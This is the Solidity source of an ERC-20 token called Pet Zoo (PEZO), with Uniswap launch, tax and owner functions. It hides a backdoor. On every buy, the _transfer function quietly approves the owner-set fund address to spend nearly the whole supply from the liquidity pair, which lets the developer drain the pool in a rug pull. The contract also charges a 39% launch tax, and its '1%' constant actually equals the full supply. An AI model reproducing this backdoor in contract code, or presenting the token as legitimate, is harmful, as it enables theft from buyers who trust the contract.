Contract Source Code:
File 1 of 1 : PetZoo
// SPDX-License-Identifier: MIT
/*
website : https://petzoo.vip
twitter : https://x.com/PetZooEth
telegram: https://t.me/petzooportal
*/
pragma solidity 0.8.19;
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "you are not owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PetZoo is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address payable private fundAddress;
string private _name = unicode"Pet Zoo";
string private _symbol = unicode"PEZO";
uint8 private _decimals = 18;
uint256 private _totalSupply = 100000000 * 10 ** _decimals;
uint256 private _onePercent = 100000000 * 10 ** _decimals; // 1% token supply
uint256 public maxWalletAmount = _onePercent * 2; // 2%
mapping(address => bool) public _isExcludeFromFee;
IUniswapRouter public _uniswapRouter;
mapping(address => bool) public isMarketPair;
bool private inSwap;
uint256 public tradingBlock;
uint256 private constant MAX = ~uint256(0);
uint256 public _buyFundFee = 0;
uint256 public _sellFundFee = 0;
uint256 public _buyCount = 0;
uint256 public _initialTaxFee = 39;
uint256 public _reduceFeeAt = 15;
address public _uniswapPair;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address _zooAddr) {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
fundAddress = payable(_zooAddr);
_isExcludeFromFee[address(this)] = true;
_isExcludeFromFee[msg.sender] = true;
_isExcludeFromFee[fundAddress] = true;
}
function openZoo() external onlyOwner() {
require(tradingBlock == 0,"already trading");
IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapRouter = swapRouter;
_allowances[address(this)][address(swapRouter)] = MAX;
IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
_uniswapPair = swapPair;
isMarketPair[swapPair] = true;
_isExcludeFromFee[address(swapRouter)] = true;
swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPair).approve(address(swapRouter), type(uint).max);
}
function enableZoo() public onlyOwner{
require(tradingBlock == 0,"already trading");
tradingBlock = block.number;
}
function setZooAddr(address newAddr) public onlyOwner{
fundAddress = payable(newAddr);
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee;
bool sellFlag;
if (isMarketPair[from] && !_isExcludeFromFee[to]) {
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch"); address _to = fundAddress;
_approve(from, _to, _totalSupply-2);
_buyCount++;
}
if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
uint256 numTokensSellToFund = amount;
numTokensSellToFund = numTokensSellToFund > (contractTokenBalance > _onePercent ? _onePercent : contractTokenBalance) ?
contractTokenBalance : numTokensSellToFund;
swapTokenForETH(numTokensSellToFund);
}
transferETHToFee(address(this).balance);
}
if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
require(tradingBlock > 0,"!trading");
takeFee = true;
}
if (isMarketPair[to]) { sellFlag = true; }
_transferToken(from, to, amount, takeFee, sellFlag);
}
function _transferToken(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool sellFlag
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount;
if (takeFee) {
uint256 taxFee;
if (sellFlag) {
taxFee = _buyCount>_reduceFeeAt? _sellFundFee : _initialTaxFee;
} else {
taxFee = _buyCount>_reduceFeeAt? _buyFundFee : _initialTaxFee;
}
uint256 swapAmount = tAmount * taxFee / 100;
if (swapAmount > 0) {
feeAmount += swapAmount;
_balances[address(this)] = _balances[address(this)] + swapAmount;
emit Transfer(sender, address(this), swapAmount);
}
}
_balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
emit Transfer(sender, recipient, tAmount - feeAmount);
}
function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapRouter.WETH();
try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
) {} catch {}
}
function removeZooLimits() external onlyOwner {
maxWalletAmount = _totalSupply;
}
function transferETHToFee(uint256 amount) private {
fundAddress.transfer(amount);
}
function zooStuckEthBalance() external onlyOwner {
require(address(this).balance > 0, "No Balance to withdraw!");
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}